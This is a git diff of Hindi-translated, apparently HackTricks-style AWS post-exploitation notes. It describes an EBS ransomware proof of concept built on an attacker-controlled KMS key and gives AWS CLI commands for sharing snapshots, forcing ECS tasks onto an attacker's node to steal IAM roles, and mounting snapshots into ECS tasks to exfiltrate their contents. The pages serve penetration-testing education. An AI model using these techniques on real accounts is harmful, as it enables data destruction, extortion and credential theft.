- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel एक उपकरण है जिसे **सार्वजनिक या निजी Amazon Machine Images (AMIs) के भीतर संवेदनशील जानकारी खोजने के लिए** डिज़ाइन किया गया है। यह target AMIs से instances लॉन्च करने, उनके volumes माउंट करने, और संभावित secrets या संवेदनशील डेटा को स्कैन करने की प्रक्रिया को स्वचालित करता है।
|
||||
|
||||
### साझा करें EBS Snapshot
|
||||
### EBS Snapshot साझा करें
|
||||
```bash
|
||||
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
### EBS Ransomware PoC
|
||||
|
||||
यह एक proof of concept है जो S3 post-exploitation notes में दिखाए गए Ransomware demonstration जैसा है। KMS को RMS (Ransomware Management Service) कहा जाना चाहिए, क्योंकि यह विभिन्न AWS सेवाओं को एन्क्रिप्ट करने के लिए उपयोग में कितना आसान है।
|
||||
S3 post-exploitation नोट्स में दिखाए गए Ransomware demonstration के समान एक proof of concept। KMS को RMS कहना चाहिए — Ransomware Management Service — क्योंकि इसका उपयोग विभिन्न AWS सेवाओं को एन्क्रिप्ट करने के लिए करना कितना आसान है।
|
||||
|
||||
सबसे पहले 'attacker' AWS account से KMS में एक customer managed key बनाएं। इस उदाहरण के लिए हम AWS को ही key data मैनेज करने देंगे, लेकिन वास्तविक परिदृश्य में एक malicious actor key data को AWS के नियंत्रण के बाहर रख सकता है। key policy को बदलकर किसी भी AWS account Principal को key उपयोग करने की अनुमति दें। इस key policy के लिए, account का नाम 'AttackSim' था और सभी access की अनुमति देने वाला policy rule 'Outside Encryption' कहा जाता है।
|
||||
पहले एक 'attacker' AWS खाते से, KMS में एक customer managed key बनाएं। इस उदाहरण में हम AWS को ही key data प्रबंधित करने देंगे, लेकिन वास्तविक परिदृश्य में कोई malicious actor कुंजी डेटा को AWS के नियंत्रण के बाहर रखेगा। Key policy बदलकर किसी भी AWS account Principal को key का उपयोग करने की अनुमति दें। इस key policy के लिए, खाते का नाम 'AttackSim' था और सभी access की अनुमति देने वाला policy rule 'Outside Encryption' कहा जाता है।
|
||||
```
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -380,7 +401,7 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
|
||||
]
|
||||
}
|
||||
```
|
||||
The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume:
|
||||
कुंजी नीति के नियम में निम्नलिखित सक्षम होना चाहिए ताकि इसे EBS volume को एन्क्रिप्ट करने के लिए उपयोग किया जा सके:
|
||||
|
||||
- `kms:CreateGrant`
|
||||
- `kms:Decrypt`
|
||||
@@ -388,21 +409,21 @@ The key policy rule needs the following enabled to allow for the ability to use
|
||||
- `kms:GenerateDataKeyWithoutPlainText`
|
||||
- `kms:ReEncrypt`
|
||||
|
||||
अब हमारे पास उपयोग के लिए सार्वजनिक रूप से उपलब्ध key है। हम एक 'victim' account का उपयोग कर सकते हैं जिसमें कुछ EC2 instances चल रहे हों और उनके साथ unencrypted EBS volumes जुड़े हों। इस 'victim' account के EBS volumes वही हैं जिन्हें हम एन्क्रिप्ट करने का लक्ष्य बना रहे हैं — यह हमला एक उच्च-प्रिविलेज AWS account के कथित उल्लंघन (assumed breach) के परिप्रेक्ष्य में किया जा रहा है।
|
||||
अब सार्वजनिक रूप से उपलब्ध key के साथ उपयोग करने के लिए। हम एक 'victim' account का उपयोग कर सकते हैं जिसमें कुछ EC2 instances चलाए गए हैं जिनके साथ unencrypted EBS volumes जुड़े हुए हैं। इस 'victim' account के EBS volumes ही हमारा लक्ष्य हैं जिन्हें एन्क्रिप्ट किया जाएगा — यह हमला एक उच्च-privilege AWS account के संभावित breach के अंतर्गत है।
|
||||
|
||||
 
|
||||
|
||||
S3 ransomware उदाहरण के समान। यह हमला snapshots का उपयोग करके जुड़े EBS volumes की प्रतियाँ बनाएगा, 'attacker' account से सार्वजनिक रूप से उपलब्ध key का उपयोग नई EBS volumes को एन्क्रिप्ट करने के लिए करेगा, फिर मूल EBS volumes को EC2 instances से detach करके उन्हें delete करेगा, और अंत में उन snapshots को भी delete कर देगा जिनका उपयोग नई एन्क्रिप्टेड EBS volumes बनाने में किया गया था। 
|
||||
S3 ransomware उदाहरण के समान। यह हमला संलग्न EBS volumes की snapshots लेकर उनकी प्रतियाँ बनायेगा, 'attacker' account से सार्वजनिक रूप से उपलब्ध key का उपयोग करके नई EBS volumes को एन्क्रिप्ट करेगा, फिर मूल EBS volumes को EC2 instances से detach करके उन्हें delete करेगा, और अंत में उन snapshots को भी delete कर देगा जिनका उपयोग नई एन्क्रिप्टेड EBS volumes बनाने के लिए किया गया था। 
|
||||
|
||||
इसका परिणाम यह होगा कि account में केवल एन्क्रिप्टेड EBS volumes ही उपलब्ध रहेंगे।
|
||||
इसका परिणाम यह होगा कि खाते में केवल एन्क्रिप्टेड EBS volumes ही उपलब्ध रहेंगे।
|
||||
|
||||
|
||||
|
||||
यह भी उल्लेखनीय है कि script ने मूल EBS volumes को detach और delete करने के लिए EC2 instances को रोक दिया था। मूल unencrypted volumes अब उपलब्ध नहीं हैं।
|
||||
यह भी ध्यान देने योग्य है कि स्क्रिप्ट ने मूल EBS volumes को detach और delete करने के लिए EC2 instances को stop किया। मूल unencrypted volumes अब मौजूद नहीं हैं।
|
||||
|
||||
|
||||
|
||||
अगला कदम, 'attacker' account में key policy पर वापस जाएं और key policy से 'Outside Encryption' policy rule को हटा दें।
|
||||
अगला कदम: 'attacker' account में key policy पर वापस जाएं और key policy से 'Outside Encryption' policy rule हटा दें।
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -473,17 +494,15 @@ S3 ransomware उदाहरण के समान। यह हमला snap
|
||||
]
|
||||
}
|
||||
```
|
||||
नए सेट किए गए key policy के propagate होने तक प्रतीक्षा करें। फिर 'victim' account पर वापस जाएं और नए encrypted EBS volumes में से एक को attach करने की कोशिश करें। आप पाएँगे कि आप volume attach कर सकते हैं।
|
||||
Wait a moment for the newly set key policy to propagate. Then return to the 'victim' account and attempt to attach one of the newly encrypted EBS volumes. You'll find that you can attach the volume.
|
||||
|
||||
 
|
||||
|
||||
लेकिन जब आप encrypted EBS volume के साथ EC2 instance को वास्तव में वापस start करने की कोशिश करेंगे, तो यह बस fail हो जाएगा और 'pending' state से वापस 'stopped' state में चला जाएगा और वहीं हमेशा रहेगा, क्योंकि attached EBS volume को key से decrypt नहीं किया जा सकता — key policy अब इसकी अनुमति नहीं देती।
|
||||
But when you attempt to actually start the EC2 instance back up with the encrypted EBS volume it'll just fail and go from the 'pending' state back to the 'stopped' state forever since the attached EBS volume can't be decrypted using the key since the key policy no longer allows it.
|
||||
|
||||
 
|
||||
|
||||
यह उपयोग किया गया python script है। यह 'victim' account के AWS creds और encryption के लिए उपयोग होने वाले key के लिए एक सार्वजनिक रूप से उपलब्ध AWS ARN value लेता है। यह script लक्षित AWS account में जुड़े सभी EC2 instances से जुड़े सभी उपलब्ध EBS volumes की encrypted copies बनाएगा, फिर हर EC2 instance को stop करेगा, original EBS volumes को detach करेगा, उन्हें delete कर देगा, और अंत में प्रक्रिया के दौरान उपयोग किए गए सभी snapshots को भी delete कर देगा। यह लक्षित 'victim' account में केवल encrypted EBS volumes ही छोड़ देगा.
|
||||
|
||||
ONLY USE THIS SCRIPT IN A TEST ENVIRONMENT, यह destructive है और सभी original EBS volumes को delete कर देगा। आप इन्हें उपयोग किए गए KMS key का उपयोग करके recover कर सकते हैं और snapshots के माध्यम से उन्हें उनकी मूल स्थिति में restore कर सकते हैं, लेकिन मैं आपको बताना चाहता हूँ कि दिन के अंत में यह एक ransomware PoC है।
|
||||
यह वही python script है जो इस्तेमाल किया गया। यह 'victim' account के लिए AWS creds और encryption के लिए उपयोग किए जाने वाले key के लिए एक publicly available AWS ARN मान लेता है। Script लक्ष्यित AWS account में लगे सभी EC2 instances से जुड़े सभी उपलब्ध EBS volumes की encrypted प्रतियाँ बनाएगा, फिर हर EC2 instance को stop करेगा, original EBS volumes को detach करेगा, उन्हें delete करेगा, और अंत में प्रक्रिया के दौरान उपयोग किए गए सभी snapshots को delete करेगा। इससे लक्ष्यित 'victim' account में केवल encrypted EBS volumes ही बचेंगे। ONLY USE THIS SCRIPT IN A TEST ENVIRONMENT, IT IS DESTRUCTIVE AND WILL DELETE ALL THE ORIGINAL EBS VOLUMES. आप उन्हें उपयोग किए गए KMS key का उपयोग करके recover कर सकते हैं और snapshots के माध्यम से उन्हें उनकी मूल स्थिति में restore कर सकते हैं, पर मैं बस यह बताना चाहता हूँ कि अंततः यह एक ransomware PoC है।
|
||||
```
|
||||
import boto3
|
||||
import argparse
|
||||
@@ -602,6 +621,8 @@ main()
|
||||
```
|
||||
## संदर्भ
|
||||
|
||||
- [Pentest Partners – AWS में SSM का उपयोग करके फ़ाइलें कैसे स्थानांतरित करें](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
- [Latacora - ECS on EC2: IMDS Hardening में गैप्स को कवर करना](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)
|
||||
- [Latacora ecs-on-ec2-gaps-in-imds-hardening Terraform repo](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening)
|
||||
- [Pentest Partners – AWS में SSM का उपयोग करके फ़ाइलें कैसे ट्रांसफर करें](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+29
-25
@@ -10,35 +10,35 @@ For more information check:
|
||||
../../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Host IAM Roles
|
||||
### होस्ट IAM Roles
|
||||
|
||||
ECS में container के अंदर चलने वाली task को **IAM role** असाइन किया जा सकता है। **If** task किसी **EC2** instance के अंदर चल रही है, तो उस **EC2 instance** के साथ **another IAM** role जुड़ा होगा.\
|
||||
इसका मतलब यह है कि अगर आप किसी ECS instance को **compromise** कर लेते हैं तो आप संभावित रूप से **obtain the IAM role associated to the ECR and to the EC2 instance** कर सकते हैं। उन credentials को कैसे प्राप्त करें, इसके लिए देखें:
|
||||
ECS में एक IAM role को container के अंदर चल रहे task को assign किया जा सकता है। यदि task किसी EC2 instance के अंदर चल रही है, तो उस EC2 instance पर एक और IAM role attached होगा।\
|
||||
जिसका अर्थ है कि अगर आप किसी ECS instance को compromise कर लेते हैं, तो आप संभावित रूप से ECR और EC2 instance से जुड़े IAM role प्राप्त कर सकते हैं। उन credentials को कैसे प्राप्त करें, इसके बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that if the EC2 instance is enforcing IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), the **response of the PUT request** will have a **hop limit of 1**, making impossible to access the EC2 metadata from a container inside the EC2 instance.
|
||||
> IMDSv2 with a hop limit of 1 **does not** block awsvpc or host-networked tasks—only Docker bridge tasks sit far enough away for the responses to die. See [ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation](../aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ecs-on-ec2-imds-abuse--ecs-agent-impersonation) for the full attack workflow and bypass notes. Recent [Latacora research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/) shows that awsvpc and host tasks still fetch host credentials even when IMDSv2+h=1 is enforced.
|
||||
|
||||
### Privesc to node to steal other containers creds & secrets
|
||||
### Privesc नोड पर जाकर अन्य containers के creds & secrets चुराना
|
||||
|
||||
इसके अलावा, EC2 docker का उपयोग करके ECS tasks चलाता है, इसलिए अगर आप node तक escape कर पाते हैं या **docker socket** तक **access** कर लेते हैं, तो आप देख सकते हैं कि कौन से **other containers** चल रहे हैं, और उनमें **get inside** करके उनके जुड़े हुए **IAM roles** भी **steal** कर सकते हैं।
|
||||
और भी, EC2 docker का उपयोग करके ECS tasks चलाता है, इसलिए यदि आप node पर escape कर पाते हैं या docker socket तक access कर लेते हैं, तो आप देख सकते हैं कि कौन-कौन से अन्य containers चल रहे हैं, और उनमें अंदर जाकर उनके जुड़े हुए IAM roles चुरा सकते हैं।
|
||||
|
||||
#### Making containers run in current host
|
||||
#### वर्तमान होस्ट पर containers को चलवाना
|
||||
|
||||
फिर भी, आमतौर पर **EC2 instance role** के पास cluster के अंदर nodes के रूप में उपयोग होने वाले EC2 instances के **container instance state** को **update** करने के लिए पर्याप्त **permissions** होते हैं। एक attacker किसी instance की **state को DRAINING** में बदल सकता है, तब ECS उस instance से **सभी tasks को remove** कर देगा और जो tasks **REPLICA** के रूप में चल रहे हैं वे किसी अलग instance में **run** होंगे, संभवतः attacker के instance में, ताकि वह उनके **IAM roles** और container के अंदर मौजूद संभावित संवेदनशील जानकारी **steal** कर सके।
|
||||
इसके अलावा, EC2 instance role के पास आम तौर पर पर्याप्त permissions होते हैं ताकि वे cluster के अंदर nodes के रूप में उपयोग हो रहे EC2 instances की container instance state को update कर सकें। एक attacker किसी instance की state को DRAINING में बदल सकता है, फिर ECS उस instance से सभी tasks हटा देगा और जो tasks REPLICA के रूप में चल रहे हैं उन्हें किसी दूसरे instance पर चलाया जाएगा — संभावित रूप से attacker के अपने instance पर — ताकि वह उनके IAM roles और container के अंदर मौजूद संवेदनशील जानकारी चुरा सके।
|
||||
```bash
|
||||
aws ecs update-container-instances-state \
|
||||
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
|
||||
```
|
||||
उसी तकनीक को **deregistering the EC2 instance from the cluster** करके किया जा सकता है। यह संभावित रूप से कम stealthy होगा लेकिन यह **tasks को अन्य instances पर चलने के लिए मजबूर कर देगा:**
|
||||
उसी तकनीक को **deregistering the EC2 instance from the cluster** करके भी किया जा सकता है। यह संभावित रूप से कम stealthy होगा लेकिन यह **force the tasks to be run in other instances:**
|
||||
```bash
|
||||
aws ecs deregister-container-instance \
|
||||
--cluster <cluster> --container-instance <container-instance-id> --force
|
||||
```
|
||||
टास्क्स को पुनः निष्पादन के लिए मजबूर करने की एक अंतिम तकनीक यह है कि ECS को सूचित किया जाए कि **task or container was stopped**। इसके लिए 3 संभावित APIs हैं:
|
||||
एक अंतिम तकनीक tasks के पुनः-निष्पादन को मजबूर करने की यह है कि ECS को सूचित किया जाए कि **task or container was stopped**। इसके लिए 3 संभावित APIs हैं:
|
||||
```bash
|
||||
# Needs: ecs:SubmitTaskStateChange
|
||||
aws ecs submit-task-state-change --cluster <value> \
|
||||
@@ -50,37 +50,37 @@ aws ecs submit-container-state-change ...
|
||||
# Needs: ecs:SubmitAttachmentStateChanges
|
||||
aws ecs submit-attachment-state-changes ...
|
||||
```
|
||||
### ECR containers से संवेदनशील जानकारी चुराएँ
|
||||
### ECR कंटेनरों से संवेदनशील जानकारी चुराएँ
|
||||
|
||||
EC2 instance के पास सम्भवतः `ecr:GetAuthorizationToken` permission भी होगा, जो इसे **इमेज डाउनलोड करने** की अनुमति देता है (आप उनमें संवेदनशील जानकारी खोज सकते हैं)।
|
||||
EC2 इंस्टेंस के पास संभवतः `ecr:GetAuthorizationToken` अनुमति भी होगी, जिससे यह **इमेज डाउनलोड** कर सकता है (आप उनमें संवेदनशील जानकारी खोज सकते हैं)।
|
||||
|
||||
|
||||
|
||||
|
||||
### EBS snapshot को सीधे एक ECS task में mount करें (configuredAtLaunch + volumeConfigurations)
|
||||
### Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)
|
||||
|
||||
मौजूदा EBS snapshot की सामग्री को सीधे एक नए ECS task/service के अंदर mount करने और container के अंदर से इसके डेटा को पढ़ने के लिए native ECS EBS integration (2024+) का दुरुपयोग करें।
|
||||
मौजूदा EBS स्नैपशॉट की सामग्री को सीधे एक नए ECS टास्क/सर्विस के अंदर माउंट करने के लिए मूल ECS EBS इंटीग्रेशन (2024+) का दुरुपयोग करें और कंटेनर के अंदर से उसका डाटा पढ़ें।
|
||||
|
||||
- आवश्यकताएँ (कम से कम):
|
||||
- आवश्यकताएं (न्यूनतम):
|
||||
- ecs:RegisterTaskDefinition
|
||||
- One of: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
|
||||
- iam:PassRole निम्न पर:
|
||||
- वॉल्यूम्स के लिए उपयोग किया गया ECS infrastructure role (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
|
||||
- Task execution/Task roles जिन्हें task definition में refer किया गया है
|
||||
- यदि snapshot CMK से encrypted है: infra role के लिए KMS permissions चाहिए (ऊपर दिया गया AWS managed policy AWS managed keys के लिए आवश्यक KMS grants शामिल करता है)।
|
||||
- इनमें से एक: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
|
||||
- iam:PassRole on:
|
||||
- वॉल्यूम के लिए उपयोग किया गया ECS infrastructure role (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
|
||||
- टास्क डिफिनिशन द्वारा संदर्भित Task execution/Task roles
|
||||
- यदि स्नैपशॉट CMK से एन्क्रिप्टेड है: infra role के लिए KMS अनुमतियाँ (ऊपर दिया गया AWS managed policy AWS managed keys के लिए आवश्यक KMS grants शामिल करता है)।
|
||||
|
||||
- प्रभाव: container के अंदर snapshot से arbitrary disk contents (जैसे database files) पढ़ना और network/logs के माध्यम से exfiltrate करना।
|
||||
- प्रभाव: कंटेनर के अंदर से स्नैपशॉट की किसी भी डिस्क सामग्री पढ़ें (उदा., डेटाबेस फाइलें) और नेटवर्क/लॉग्स के माध्यम से बाहिर भेजें।
|
||||
|
||||
Steps (Fargate example):
|
||||
|
||||
1) ECS infrastructure role बनाएँ (यदि मौजूद नहीं है) और managed policy attach करें:
|
||||
1) Create the ECS infrastructure role (if it doesn’t exist) and attach the managed policy:
|
||||
```bash
|
||||
aws iam create-role --role-name ecsInfrastructureRole \
|
||||
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
|
||||
aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
|
||||
```
|
||||
2) एक task definition रजिस्टर करें जिसमें एक volume `configuredAtLaunch` के रूप में चिह्नित हो और उसे container में माउंट करें। उदाहरण (secret प्रिंट करने के बाद sleep करता है):
|
||||
2) एक task definition रजिस्टर करें जिसमें एक volume `configuredAtLaunch` के रूप में चिह्नित हो और उसे container में माउंट करें। उदाहरण (secret को प्रिंट करके फिर सो जाता है):
|
||||
```json
|
||||
{
|
||||
"family": "ht-ebs-read",
|
||||
@@ -100,7 +100,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
|
||||
}
|
||||
```
|
||||
3) एक सर्विस बनाएं या अपडेट करें जो EBS snapshot को `volumeConfigurations.managedEBSVolume` के माध्यम से पास करे (iam:PassRole की आवश्यकता infra role पर)। उदाहरण:
|
||||
3) `volumeConfigurations.managedEBSVolume` के माध्यम से EBS snapshot पास करते हुए एक service बनाएं या अपडेट करें (infra role पर iam:PassRole की आवश्यकता होती है)। उदाहरण:
|
||||
```json
|
||||
{
|
||||
"cluster": "ht-ecs-ebs",
|
||||
@@ -114,7 +114,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
]
|
||||
}
|
||||
```
|
||||
4) जब task शुरू होता है, container configured mount path पर snapshot की सामग्री (उदा., `/loot`) पढ़ सकता है। Exfiltrate task के network/logs के माध्यम से।
|
||||
4) जब task शुरू होता है, container configured mount path (उदा., `/loot`) पर snapshot की सामग्री पढ़ सकता है। Exfiltrate task के network/logs के जरिए।
|
||||
|
||||
सफाई:
|
||||
```bash
|
||||
@@ -122,4 +122,8 @@ aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count
|
||||
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
|
||||
aws ecs deregister-task-definition ht-ebs-read
|
||||
```
|
||||
## संदर्भ
|
||||
|
||||
- [Latacora - ECS on EC2: Covering Gaps in IMDS Hardening](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user